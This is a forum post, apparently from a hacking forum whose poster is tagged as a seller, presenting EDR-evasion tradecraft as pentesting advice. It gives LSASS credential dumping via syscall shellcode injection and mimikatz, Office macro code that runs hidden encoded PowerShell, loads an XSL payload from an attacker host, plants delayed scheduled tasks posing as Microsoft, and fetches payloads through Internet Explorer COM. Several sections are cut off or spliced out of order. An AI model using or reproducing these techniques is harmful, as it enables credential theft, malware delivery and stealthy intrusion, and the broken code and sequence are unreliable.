Bypassing EDR and Detection Systems: Practical Techniques for Penetrators.

WILD

Administrator
Staff member
ADMIN
SELLER
SUPREME
MEMBER
Joined
Jan 21, 2025
Messages
219
Reaction score
636
Deposit
0$
Listen, this situation is familiar to anyone who's ever attempted a full-fledged pentest on a modern network. You've successfully completed reconnaissance, escalated privileges, moved through the network, and even captured a domain controller. And then—bam—you're kicked out. Because a rule triggered somewhere, EDR detected the wrong call, and the SOC responded quickly.

I've been through this many times. And in this article, I've collected methods that actually work for evading detection systems. From stealthy code execution to disguising parent processes and working with LSASS without mimikatz. There's a lot of code, techniques, and explanations of why it works.

---

Evading Memory Scanners

PowerShell has long been a pentester's go-to tool. Empire, PowerSploit, Invoke-Obfuscation—all of these worked until security systems learned to analyze PowerShell for anomalies. They're currently looking for:

· Suspicious interprocess communications
· Non-standard command line arguments
· Script obfuscation itself

An alternative is Cobalt Strike and its execute-assembly module. The idea is simple: instead of PowerShell scripts, we use C# assemblies that execute directly in memory.

For example, let's say we want to get information about users in a domain. Instead of PowerView's Get-NetUser, we write a simple C# program that queries accounts via LDAP:

C#:

using System; using System.DirectoryServices;
namespace GetUsers { class Program { static void Main(string[] args) { DirectoryEntry entry = new DirectoryEntry("LDAP://DC=domain,DC=local"); DirectorySearcher searcher = new DirectorySearcher(entry); searcher.Filter = "(&(objectClass=user)(objectCategory=person))";
}

We compile and load it using Cobalt Strike's execute-assembly. What happens in the system? The rundll32.exe process loads our assembly. No powershell.exe, no scripts on disk. The entire workload is executed in memory.

Important: rundll32.exe runs as a child process of the process Cobalt Strike was launched from (usually powershell.exe). This is normal, but EDR can detect this connection. Therefore, it's best to migrate to another process immediately after loading.

---

Evading EDR: Hiding Mimikatz's Activity

Mimikatz is a classic. But EDR detects it instantly. Even if the file is renamed, even if obfuscated. Because the signatures for the API calls made by Mimikatz have long been in the databases.

The solution is to not use mimikatz to dump LSASS. We dump LSASS separately, and then run mimikatz on the dump.

We use Dumpert for dumping. What's special about it? It uses direct system calls (syscalls) rather than regular APIs. EDR usually hooks the API at the user-mode level, but if you bypass it via syscalls, the hooks won't work.

Install Dumpert:

Bash:

git clonehttps://github.com/outflanknl/Dumpert cd Dumpert

Compile the DLL. Then we convert it to shellcode via sRDI:

Bash:

python3 ConvertToShellcode.py Outflank-Dumpert.dll

Inject the resulting shellcode into the process via Cobalt Strike (shinject module):

Bash:

shinject<PID> x64 <shellcode>

After a successful dump, we get a file that can be analyzed. Now we run mimikatz on the dumped process, not the live process:

Bash:

mimikatz# sekurlsa::minidump lsass.dmp mimikatz# sekurlsa::logonpasswords

This approach leaves fewer traces. Is dumping LSASS a standard operation for EDR? Yes, but Dumpert does this without calling suspicious APIs, so the chances of being detected are greatly reduced.

---

Evading the "parent-child process" rule in macros

Macros in Office are a classic entry point. But EDRs already know: WinWord → cmd → PowerShell is an attack. They look at the process chain and detect such chains.

To bypass this, you need to break the connection.

Method 1: WMI

Launch the process via WMI. Then the child process will not be WinWord, but wmiprvse.exe. This is legitimate.

VBScript code inside the macro:

Code:

Set obj= GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880") obj.Document.Application.ShellExecute"powershell.exe", "-NoP -NonI -W Hidden -Exec Bypass -Enc ...", Null, Null, 0

Method 2: XMLDOM

You can execute code directly in WinWord memory, without starting new processes. Load the XSL file and execute it in the Windows context:

Code:

Set xml= CreateObject("Microsoft.XMLDOM") xml.async= False Set xsl= xml xsl.load"http://attacker.com/payload.xsl" xml.transformNode xsl

Method 3: Scheduled Tasks

Create the task using VBScript. This will cause the process to run from svchost.exe, not from Windows. You can also postpone it for several days:

Code:

Set service = CreateObject("Schedule.Service") Call service.Connect Dim td:Set td = service.NewTask(0) td.RegistrationInfo.Author = "Microsoft Corporation" td.settings.StartWhenAvailable = True
Dim trigger: Set trigger = td.triggers.Create(1) Dim startTime:ts = DateAdd("d", 3, Now) ' in 3 days startTime = Year(ts) & "-" & Right("0" & Month(ts), 2) & "-" & Right("0" & Day(ts), 2) & "T" & Right("0" & Hour(ts), 2) & ":" & Right("0" & Minute(ts), 2) & ":" & Right("0" & Second(ts), 2) trigger.StartBoundary= startTime
C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{...}.tmp C:\Users\<user>\AppData\Local\Temp\CVR497F.tmp

Or in Office templates:

Code:

C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm

Method 6: Silently download data via Internet Explorer

If you use XMLHTTP or URLDownloadToFileA, WinWord initiates a network connection, which EDR will detect. The solution is to use Internet Explorer COM:

Code:

Set ie= CreateObject("InternetExplorer.Application") ie.Navigate"" Do Until ie.readyState= 4 DoEvents Loop Dim payload:payload = ie.Document.Body.innerHTML

The connection is coming from svchost.exe, not WinWord. Much less suspicious.

---

Reconnaissance: How to Avoid ATA's Detection

Microsoft ATA (Advanced Threat Analytics) likes to detect certain types of requests. For example, net.exe uses the SAMR protocol to enumerate users. ATA detects this and raises the alarm.

But if you use PowerView or WMI, the requests are sent via LDAP. ATA doesn't respond to LDAP requests.

Example via WMI:

Code:

Get-WmiObject-Class Win32_UserAccount -Filter "Domain='domain' AND Disabled='False'"

Example via WMI for groups:

Code:

Get-WmiObject-Class win32_group -Filter "Domain='domain'"

To search for users with local administrator rights, use Find-LocalAdminAccess. However, if you run it without parameters, it will access the domain controller, and ATA will notice this. Therefore, it's better to specify a list of computers via -ComputerFile, excluding the domain controller:

Code:

Invoke-UserHunter-ComputerFile pc_list.txt -Verbose

---

OPSEC: Important Things to Remember

Even when using all these methods, remember:

· EDR learns. What worked yesterday may not work today. Any activity leaves traces. The goal is to make these traces look like legitimate activity.

Use camouflage. Processes that appear to be system processes (svchost.exe, explorer.exe) are less suspicious.

Don't store tools on disk. Everything is in memory.

If you use Cobalt Strike, change the artifacts. The default signatures have long been in the databases.

--

Modern EDR and detection systems are a formidable adversary. But they have weaknesses:

They hook the user-mode API, but syscalls are not available to them.

They look at process chains, but WMI and scheduled tasks break this chain.

They detect mimikatz, but they don't detect LSASS dumps via syscalls.
They monitor network connections from suspicious processes, but Internet Explorer COM hides the source.

Combine methods, test on your own setups, and update your arsenal. And remember: security is a process, not a set of tools.
 
Top Bottom